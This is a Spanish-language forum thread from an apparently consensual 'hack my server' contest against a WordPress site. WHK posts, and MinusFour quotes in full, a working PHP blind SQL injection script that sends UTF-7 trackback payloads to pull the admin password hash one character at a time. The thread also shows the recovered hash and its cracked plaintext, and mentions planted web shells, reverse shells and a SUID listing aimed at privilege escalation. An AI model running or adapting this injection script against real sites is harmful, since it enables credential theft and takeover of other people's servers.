 Autor
|
Tema: Hack my server II (Leído 80,658 veces)
|
|
WHK
|
char(1,1,1,1) reemplazas los unos por el valor decimal del caracter. Miren esto: whk@whk-machine:~/Escritorio$ php poc.php
Obteniendo hash...
Buscando sobre el caracter 'a'...
Caracter encontrado!, faltan 31 caracteres mas.
Buscando sobre el caracter 'b'...
Buscando sobre el caracter 'c'...
Buscando sobre el caracter 'd'...
xD el hash comienza con a7 y está sacando el resto de los carácteres  Acá dejo el script que hice: <?php echo "Obteniendo hash...\n"; $hash = ''; for($n = 1; $n <= 32; $n++){ foreach(array('a','b','c','d','e','f','0','1','2','3','4','5','6','7','8','9') as $caracter){ echo "Buscando sobre el caracter '".$caracter."'...\n"; $postdata = 'charset=UTF-7&title= -- a&url= -- a&excerpt= -- a&blog_name=a%2bACc-) union select user_pass from wp_users where ID=1 and SUBSTRING(user_pass, '.$n.', 1)=CHAR('.ord($caracter).') limit 1 -- -'; 'method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $postdata ) ))); if(strpos($resultado, 'Duplicate comment') !== false){ /* Carácter encontrado */ $hash .= $caracter; echo "Caracter encontrado!, faltan ".(32 - $n)." caracteres mas.\n"; break; }else{ /* Carácter no válido */ } } } echo "Hash: ".$hash."\n";
Con esto en unos 15 minutos mas tengo el hash y el acceso al panel de administración. Ahora debo salir y el fin de semana no se si estaré xD asi que nos vemos otro día. Edito: Buscando sobre el caracter '7'...
Caracter encontrado!, faltan 30 caracteres mas.
Buscando sobre el caracter 'a'...
Buscando sobre el caracter 'b'...
Buscando sobre el caracter 'c'...
Caracter encontrado!, faltan 29 caracteres mas.
Buscando sobre el caracter 'a'...
Buscando sobre el caracter 'b'...
Buscando sobre el caracter 'c'...
xD  |
|
|
|
« Última modificación: 2 Agosto 2014, 02:04 am por WHK »
|
En línea
|
|
|
|
|
MinusFour
|
char(1,1,1,1) reemplazas los unos por el valor decimal del caracter. Miren esto: whk@whk-machine:~/Escritorio$ php poc.php
Obteniendo hash...
Buscando sobre el caracter 'a'...
Caracter encontrado!, faltan 31 caracteres mas.
Buscando sobre el caracter 'b'...
Buscando sobre el caracter 'c'...
Buscando sobre el caracter 'd'...
xD el hash comienza con a7 y está sacando el resto de los carácteres Acá dejo el script que hice: <?php echo "Obteniendo hash...\n"; $hash = ''; for($n = 1; $n <= 32; $n++){ foreach(array('a','b','c','d','e','f','0','1','2','3','4','5','6','7','8','9') as $caracter){ echo "Buscando sobre el caracter '".$caracter."'...\n"; $postdata = 'charset=UTF-7&title= -- a&url= -- a&excerpt= -- a&blog_name=a%2bACc-) union select user_pass from wp_users where ID=1 and SUBSTRING(user_pass, '.$n.', 1)=CHAR('.ord($caracter).') limit 1 -- -'; 'method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $postdata ) ))); if(strpos($resultado, 'Duplicate comment') !== false){ /* Carácter encontrado */ $hash .= $caracter; echo "Caracter encontrado!, faltan ".(32 - $n)." caracteres mas.\n"; break; }else{ /* Carácter no válido */ } } } echo "Hash: ".$hash."\n";
Con esto en unos 15 minutos mas tengo el hash y el acceso al panel de administración. Ahora debo salir y el fin de semana no se si estaré xD asi que nos vemos otro día. Edito: Buscando sobre el caracter '7'...
Caracter encontrado!, faltan 30 caracteres mas.
Buscando sobre el caracter 'a'...
Buscando sobre el caracter 'b'...
Buscando sobre el caracter 'c'...
Caracter encontrado!, faltan 29 caracteres mas.
Buscando sobre el caracter 'a'...
Buscando sobre el caracter 'b'...
Buscando sobre el caracter 'c'...
xD Por cierto esta versión de PHP es 5.5 no tiene magic quotes xD. Edit: Hay un archivo de phpinfo ahí por si lo quieren revisar: http://web/wp-content/uploads/phpinfo.phpEdit2: WHK dejaste la ip otra vez xD.
|
|
|
|
« Última modificación: 2 Agosto 2014, 02:19 am por MinusFour »
|
En línea
|
|
|
|
|
WHK
|
Pues cuando usaba comillas dobles para la consulta sql me arrojaba backslashses, talves era el escape de alguna funcion de wordpress. De todas maneras ya está solucionado, me faltan solo 15 carácteres, ya debo irme, adios. Mi ip no importa, se las regalo xd, el día en que tenga que hacerlo en un sitio mas serio no lo voy a hacer desde mi ip o desde mi red |
|
|
|
|
En línea
|
|
|
|
|
WHK
|
hash encontrado: a7c85c1a6114797d06425195899a8abe Método rápido: reversar el md5: http://www.hashkiller.co.uk/md5-decrypter.aspxWe found 1 hashes! [Timer: 134 m/s] Please find them below... a7c85c1a6114797d06425195899a8abe MD5 : 2bc11fEl método lento sería averiguar la estructura de la cookie e inyectarme la cookie con el hash en el navegador y me autenticaría sea cual sea la contraseña (en el caso de que el pass fuera imposible de reversar). Ahora si adios xd, pd: prueben el script del template y el del backup para ejecutar código. http://web.com/?p=21Saludos. |
|
|
|
« Última modificación: 2 Agosto 2014, 02:17 am por WHK »
|
En línea
|
|
|
|
|
MinusFour
|
Pues cuando usaba comillas dobles para la consulta sql me arrojaba backslashses, talves era el escape de alguna funcion de wordpress. De todas maneras ya está solucionado, me faltan solo 15 carácteres, ya debo irme, adios. Mi ip no importa, se las regalo xd, el día en que tenga que hacerlo en un sitio mas serio no lo voy a hacer desde mi ip o desde mi red Si no es tu ip es la de dimitrix XDDDDDDDDDD Edit: Alguien ya esta haciendo su conexión en reversa y de paso se borro mi shell eh XDDDDDDDDDDDDDDDDDDD No seais tan cabrones, si esto solo es para aprender LOL
|
|
|
|
« Última modificación: 2 Agosto 2014, 02:30 am por MinusFour »
|
En línea
|
|
|
|
|
dRak0
|
-rwsr-xr-x 1 root root 44176 May 16 2013 /bin/ping
-rwsr-xr-x 1 root root 94792 Jun 12 2013 /bin/mount
-rwsr-xr-x 1 root root 44688 May 16 2013 /bin/ping6
-rwsr-xr-x 1 root root 36936 Jul 26 2013 /bin/su
-rwsr-xr-x 1 root root 69120 Jun 12 2013 /bin/umount
-rwxr-sr-x 1 root shadow 35536 May 18 2013 /sbin/unix_chkpwd
-rwsr-xr-x 1 root root 121112 Mar 11 08:24 /usr/bin/sudo
-rwsr-xr-x 1 root root 32464 Jul 26 2013 /usr/bin/newgrp
-rwxr-sr-x 1 root ssh 129120 Apr 29 19:54 /usr/bin/ssh-agent
-rwsr-sr-x 1 root mail 89216 Jun 8 2012 /usr/bin/procmail
-rwsr-xr-x 1 root root 23104 May 16 2013 /usr/bin/traceroute6.iputils
-rwxr-sr-x 1 root shadow 23360 Jul 26 2013 /usr/bin/expiry
-rwsr-xr-x 1 root root 68152 Jul 26 2013 /usr/bin/gpasswd
-rwxr-sr-x 1 root tty 19024 Jun 12 2013 /usr/bin/wall
-rwxr-sr-x 1 root shadow 54968 Jul 26 2013 /usr/bin/chage
-rwsr-xr-x 1 root root 41336 Jul 26 2013 /usr/bin/chsh
-rwxr-sr-x 1 root mail 18672 Jun 8 2012 /usr/bin/lockfile
-rwxr-sr-x 1 root crontab 35984 Feb 9 2013 /usr/bin/crontab
-rwsr-xr-x 1 root root 47032 Jul 26 2013 /usr/bin/passwd
-rwsr-xr-x 1 root root 18928 May 16 2013 /usr/bin/arping
-rwxr-sr-x 1 root tty 14688 Jun 4 2013 /usr/bin/bsd-write
-rwsr-xr-x 1 root root 46424 Jul 26 2013 /usr/bin/chfn
-rwxr-sr-x 1 root utmp 380088 Aug 19 2013 /usr/bin/screen
-rwxr-sr-x 1 root mlocate 39520 Jun 20 2013 /usr/bin/mlocate
-rwxr-sr-x 1 root mail 14848 Jun 5 2013 /usr/bin/dotlockfile
-rwsr-xr-x 1 root root 10208 Sep 10 2013 /usr/sbin/sensible-mda
-rwsr-sr-x 1 libuuid libuuid 18904 Jun 12 2013 /usr/sbin/uuidd
-rwxr-sr-x 1 root smmsp 82816 Sep 10 2013 /usr/lib/sm.bin/mailstats
-rwxr-sr-x 1 root smmsp 851840 Sep 10 2013 /usr/lib/sm.bin/sendmail
-rwsr-xr-x 1 root root 249704 Apr 29 19:54 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10368 Oct 12 2013 /usr/lib/pt_chown
A escalar privilegios bitchess...!
|
|
|
|
|
En línea
|
|
|
|
xustyx
 Desconectado
Mensajes: 213
|
Yo piro a sobar ya estoy rebentao encima no se por que cojones no me piya la reverse shell... tengo abierta hasta la puerta de mi casa XD
Y bueno con la shell que ya hay se puede intentar buscar un exploit local que los hay a patadas.
uname -a
Hasta mañana!!
PD: Mañana saco al kali a pasear.
|
|
|
|
|
En línea
|
|
|
|
|
MinusFour
|
Yo ya estoy conectado pero no será tan fácil como compilar un exploit y listo, porque en primera no hay gcc xDDD
Por cierto, hay alguien que tiene acceso al servidor que está poniendo cosas a las shells LOL y es pura joda pero bueno xD.
|
|
|
|
|
En línea
|
|
|
|
|
#!drvy
|
llamen a dimitrix, que instale gcc ·_·
xD
Saludos
|
|
|
|
|
En línea
|
|
|
|
|
MinusFour
|
llamen a dimitrix, que instale gcc ·_·
xD
Saludos
Yo ya he probado mi primer exploit, lo he compilado en mi maquina y lo he corrido pero... el exploit no es para debian/slackware xD.
|
|
|
|
|
En línea
|
|
|
|
|
| Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Counter Strike 1.5 Hack Server
Juegos y Consolas
|
*StoW*
|
0
|
3,477
|
19 Octubre 2006, 22:22 pm
por *StoW*
|
|
|
|
Internal Server Error(hack web cross)
WarZone
|
Angbroda
|
5
|
6,066
|
3 Marzo 2009, 17:39 pm
por © Shadoweps ツ
|
|
|
Torneo Hack my Server
« 1 2 ... 6 7 »
Foro Libre
|
dimitrix
|
62
|
21,028
|
1 Agosto 2014, 03:04 am
por dimitrix
|
|
|
Hack My Server III
« 1 2 »
Foro Libre
|
dimitrix
|
16
|
5,984
|
30 Marzo 2015, 18:47 pm
por elmatador2
|
|
|
|
Hack my server 2018
« 1 2 »
Hacking
|
dimitrix
|
16
|
18,943
|
28 Mayo 2018, 22:06 pm
por hitori batusai
|
 |
- 
